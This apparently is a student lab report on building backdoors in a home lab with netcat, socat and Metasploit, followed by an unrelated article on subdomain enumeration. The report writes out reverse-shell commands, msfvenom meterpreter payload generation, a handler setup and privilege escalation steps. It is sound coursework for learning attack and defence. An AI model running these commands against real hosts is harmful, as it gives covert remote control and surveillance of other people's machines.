20202402 2022-2023-2 《网络与系统攻防技术》实验二实验报告

  1. 实验内容

1.1 实验要求

(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

1.2实验原理

1.2.1 后门

后门就是攻击者在想要攻击的目的主机上留下的可以隐藏自己,获取目的主机的控制权或系统访问权的方法。

1.2.2 ncat

ncat是可以进行远程连接的,在Linux通常是自带的,可以使用man nc来查看nc的相关命令。

1.2.3 socat

socat可以当作是netcat的加强版,在两个数据流之间建立通道,且支持众多协议和链接方式,用于连接远程端口,获取shell。

1.2.4 Meterpreter

是一个用于生成后门程序的工具。

2.实验过程

2.1使用netcat获取主机操作Shell,cron启动某项任务

首先在kali和windows中通过指令获得ip地址,在windows中打开监听

ncat.exe -l -p 

在kali中输入

nc 192.168.11.19 5313 -e /bin/sh

与windows建立连接,如图获得kali的shell

修改时程表也可

2.2使用SOCAT获取主机操作SHELL, 任务计划启动

在Windows单击【计算机】—【管理】—【任务计划程序】下【任务计划程序库】,选择【创建任务】

在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5301 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5301,同时把cmd.exe的stderr重定向到stdout上:

到时间的时候会弹出窗口

在kali上通过socat与windows建立连接,可以使用windows的shell

2.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

在kali上生成可执行文件20202402backdoor.exe,注意使用kali的IP地址

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.35 LPORT=2402 -f exe > 20202402backdoor.exe

通过后门程序传到windows

然后kali中输入msfconsole后进行如下操作

use exploit/multi/handler 使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp 使用和生成后门程序时相同的payload
set LHOST 172.16.218.133 这里用的是LinuxIP,和生成后门程序时指定的IP相同
set LPORT 5322 同样要使用相同的端口.
exploit

运行windows上的后门程序,可以看到已经建立连接并可以使用windows的shell

2.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

在上一个实验的基础上继续操作

由于我的电脑摄像头本身就有问题,腾讯会议都用不了,所以这里不进行获取

在尝试提权的时候,直接进行getsystem会报错,在参考这篇文章https://xz.aliyun.com/t/6400以后,通过用exploit/windows/local/ask模块可以成功

2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

输入

msfvenom -p linux/x86/meterpreter/reverse_tcp Lhost=192.168.3.35 LPORT=4444 -x ./pwn1 -f elf >  pwn20202402shellcode

再在msfconsole中,重复实验三的步骤,在另一个终端运行pwn20202402shellcode,便可成功调用shell

3.问题及解决方案

3.1实验三可执行文件问题

问题:

在实验三运行可执行文件以后,kali没有反应,在多次重复尝试以后仍然无法解决,快要崩溃了

解决方案:

重新设置虚拟机的网络连接方式,把NAT模式改为桥接模式

3.2提权

问题:

直接使用getsystem报错

解决方案:

https://xz.aliyun.com/t/6400,这篇写的很详细,不止有提权。

4.问题回答

4.1例举你能想到的一个后门进入到你系统中的可能方式?

像2345这样的恶心人软件或网站,可能在安装或访问时会有后门程序装入

4.2例举你知道的后门如何启动起来(win及linux)的方式?

win:开机自启

linux:cron启动

4.3Meterpreter有哪些给你映像深刻的功能?

在植入后门后,可以控制主机的执行指令,包括录音、录像、截图、键盘输入记录等

4.4如何发现自己有系统有没有被安装后门?

定时杀毒,安全扫描

5.实验感悟

这次实验完成也算成功,就是中间因为虚拟机配置问题差点发疯,以后再遇到此类问题应该减少无意义的重复试验,换个思路想问题。同时这次实验让我感到了后门的可怕,一个小小的程序就可能把我扒光到一丝不挂,再一次意识到网络安全的重要性,道阻且长,迎难而上。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
一、介绍 子域名收集是一项网络安全领域的工作,通过查找目标网站的 DNS 记录和其他公开信息,寻找到与目标站点相关的域名和子域名,并将其列出,以便进行后续测试和攻击。 本文介绍了一种基于 Python 的子域名收集工具的设计和实现。该工具可以从多个来源自动地收集目标站点的子域名,并将其输出为一个文本文件,以供后续使用。 、设计思路 该工具的设计基于以下思路: 1. 定义目标站点:用户输入目标站点的域名或 IP 地址,程序自动获取其对应的 DNS 服务器地址,并使用 DNS 解析查询该站点的基本信息。 2. 查找子域名:程序使用多种方式自动或半自动地查找与目标站点相关的子域名,包括基于字典的暴力枚举、搜索引擎的关键词匹配、社交媒体和在线论坛的信息采集等。 3. 过滤和去重:由于某些收集方式可能会产生大量冗余信息,程序需要进行过滤和去重操作,以保留唯一有效的子域名信息。 4. 输出结果:程序将过滤后的子域名信息输出到一个文本文件中,并可选择性地进行格式化和排序。 五、实现步骤 根据上述设计思路,我们可以分为以下几个步骤来实现该工具。 1. 查询目标站点信息 程序需要获取目标站点的 IP 地址和主机名等基本信息。可以使用 Python 的 socket 和 dns.resolver 等库进行 DNS 解析查询,并提取关键信息。 2. 收集子域名 (1)字典暴力枚举 该工具使用一个字典文件来生成可能的子域名,并使用 DNS 解析查询来验证是否存在。可以使用 Python 库中的 itertools 和 threading 等库来加速生成和并行检测,以提高效率。 (2)搜索引擎关键词匹配 工具可以通过爬取 Google、Bing、Yahoo 等搜索引擎的搜索结果,并将与目标站点相关的 URL 根据域名进行筛选和去重,获取到一定的子域名信息。 (3)社交媒体和在线论坛信息采集 工具可以通过爬取 Twitter、GitHub、Reddit 等社交媒体平台、以及 Stack Overflow 等在线技术论坛的帖子和主页信息,来收集与目标站点相关的子域名信息。 3. 过滤和去重 由于不同来源的子域名信息可能存在冗余或重复的部分,程序需要进行过滤和去重操作,以保留唯一有效的子域名信息。 可以使用 Python 中的正则表达式库和 set 类型数据结构等工具来实现过滤和去重功能。 4. 输出结果 程序根据用户需求,将过滤后的子域名信息输出到一个文本文件中。可以使用 Python 中的文件读写库和 sort 函数等工具来实现。 六、总结 本文介绍了一种基于 Python 的子域名收集工具的设计和实现,可以实现从多个来源自动化地收集目标站点的子域名信息,并进行过滤和去重等处理,输出到一个文本文件中。该工具可以用于实现网络攻击和防御等各种应用场景,具有一定的技术实用价值。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

BizetJr

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值